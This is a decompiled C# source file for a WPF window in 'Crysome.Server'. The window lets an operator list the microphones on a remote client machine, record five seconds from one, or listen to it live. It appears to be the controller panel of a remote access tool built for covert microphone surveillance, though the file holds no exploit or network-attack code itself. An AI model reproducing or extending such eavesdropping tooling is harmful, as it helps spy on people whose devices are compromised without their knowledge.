Files
2026-08-27 11:22:54 -06:00

267 lines
6.6 KiB
C#

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using NAudio.Wave;
using Wpf.Ui.Controls;
namespace Crysome.Server.View;
public class RemoteAudioWindow : FluentWindow, IComponentConnector
{
private readonly ClientInfo _client;
private readonly ManageClientsViewModel _vm;
private MediaPlayer _player;
private string[] _devices = new string[0];
private BufferedWaveProvider _bufferedProvider;
private WaveOutEvent _waveOut;
private bool _listening;
internal TextBlock TitleText;
internal Button CloseBtn;
internal ComboBox MicCombo;
internal Button RecordBtn;
internal Button ListenBtn;
internal Button StopListenBtn;
internal TextBlock StatusText;
private bool _contentLoaded;
public RemoteAudioWindow(ClientInfo client, ManageClientsViewModel vm)
{
InitializeComponent();
_client = client;
_vm = vm;
((Window)this).Title = "Remote Audio/Mic — " + (client?.Address ?? "?");
TitleText.Text = ((Window)this).Title;
StatusText.Text = "Select mic, then Record (5 sec) or Listen Live.";
((FrameworkElement)this).Loaded += delegate
{
_vm.Log("RemoteAudio Loaded, calling LoadMics", "MIC");
LoadMics();
};
((Window)this).Closed += delegate
{
_player?.Close();
StopListening();
};
}
private void LoadMics()
{
_vm.GetAudioDevices(_client, delegate(string[] devs)
{
_devices = devs ?? new string[0];
if (_devices.Length == 0)
{
_devices = new string[1] { "(No microphones found)" };
}
MicCombo.Items.Clear();
for (int i = 0; i < _devices.Length; i++)
{
MicCombo.Items.Add(_devices[i] ?? ("Mic " + i));
}
if (MicCombo.Items.Count > 0)
{
MicCombo.SelectedIndex = 0;
}
});
}
private void RecordBtn_Click(object sender, RoutedEventArgs e)
{
((UIElement)(object)RecordBtn).IsEnabled = false;
StatusText.Text = "Recording on remote machine...";
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
_vm.RequestAudio(_client, 5, deviceIndex, delegate(byte[] wavData)
{
((UIElement)(object)RecordBtn).IsEnabled = true;
if (wavData == null || wavData.Length == 0)
{
StatusText.Text = "No audio received.";
return;
}
try
{
string tmp = Path.Combine(Path.GetTempPath(), "crysome_audio_" + Guid.NewGuid().ToString("N") + ".wav");
File.WriteAllBytes(tmp, wavData);
_player?.Close();
_player = new MediaPlayer();
_player.Open(new Uri(tmp));
_player.MediaEnded += delegate
{
try
{
File.Delete(tmp);
}
catch
{
}
_player.Close();
};
_player.Play();
StatusText.Text = "Playing " + wavData.Length / 1024 + " KB...";
}
catch (Exception ex)
{
StatusText.Text = "Play failed: " + ex.Message;
}
});
}
private void ListenBtn_Click(object sender, RoutedEventArgs e)
{
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
_listening = true;
((UIElement)(object)ListenBtn).IsEnabled = false;
((UIElement)(object)StopListenBtn).IsEnabled = true;
((UIElement)(object)RecordBtn).IsEnabled = false;
StatusText.Text = "Listening live...";
WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
_bufferedProvider = new BufferedWaveProvider(waveFormat)
{
BufferDuration = TimeSpan.FromSeconds(5L)
};
_waveOut = new WaveOutEvent();
_waveOut.Init(_bufferedProvider);
_waveOut.Play();
_vm.StartAudioStream(_client, deviceIndex, delegate(byte[] chunk)
{
if (!_listening || _bufferedProvider == null)
{
return;
}
try
{
_bufferedProvider.AddSamples(chunk, 0, chunk.Length);
}
catch
{
}
});
}
private void StopListenBtn_Click(object sender, RoutedEventArgs e)
{
StopListening();
}
private void StopListening()
{
_listening = false;
_vm?.StopAudioStream(_client);
((UIElement)(object)ListenBtn).IsEnabled = true;
((UIElement)(object)StopListenBtn).IsEnabled = false;
((UIElement)(object)RecordBtn).IsEnabled = true;
try
{
_waveOut?.Stop();
_waveOut?.Dispose();
}
catch
{
}
_waveOut = null;
_bufferedProvider = null;
StatusText.Text = "Stopped.";
}
private void CloseBtn_Click(object sender, RoutedEventArgs e)
{
((Window)this).Close();
}
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
{
try
{
((Window)this).DragMove();
}
catch
{
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
public void InitializeComponent()
{
if (!_contentLoaded)
{
_contentLoaded = true;
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteaudiowindow.xaml", UriKind.Relative);
Application.LoadComponent(this, resourceLocator);
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
void IComponentConnector.Connect(int connectionId, object target)
{
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
//IL_005e: Expected O, but got Unknown
//IL_0085: Unknown result type (might be due to invalid IL or missing references)
//IL_008f: Expected O, but got Unknown
//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
//IL_00b3: Expected O, but got Unknown
//IL_00cd: Unknown result type (might be due to invalid IL or missing references)
//IL_00d7: Expected O, but got Unknown
switch (connectionId)
{
case 1:
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
break;
case 2:
TitleText = (TextBlock)target;
break;
case 3:
CloseBtn = (Button)target;
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
break;
case 4:
MicCombo = (ComboBox)target;
break;
case 5:
RecordBtn = (Button)target;
((ButtonBase)(object)RecordBtn).Click += RecordBtn_Click;
break;
case 6:
ListenBtn = (Button)target;
((ButtonBase)(object)ListenBtn).Click += ListenBtn_Click;
break;
case 7:
StopListenBtn = (Button)target;
((ButtonBase)(object)StopListenBtn).Click += StopListenBtn_Click;
break;
case 8:
StatusText = (TextBlock)target;
break;
default:
_contentLoaded = true;
break;
}
}
}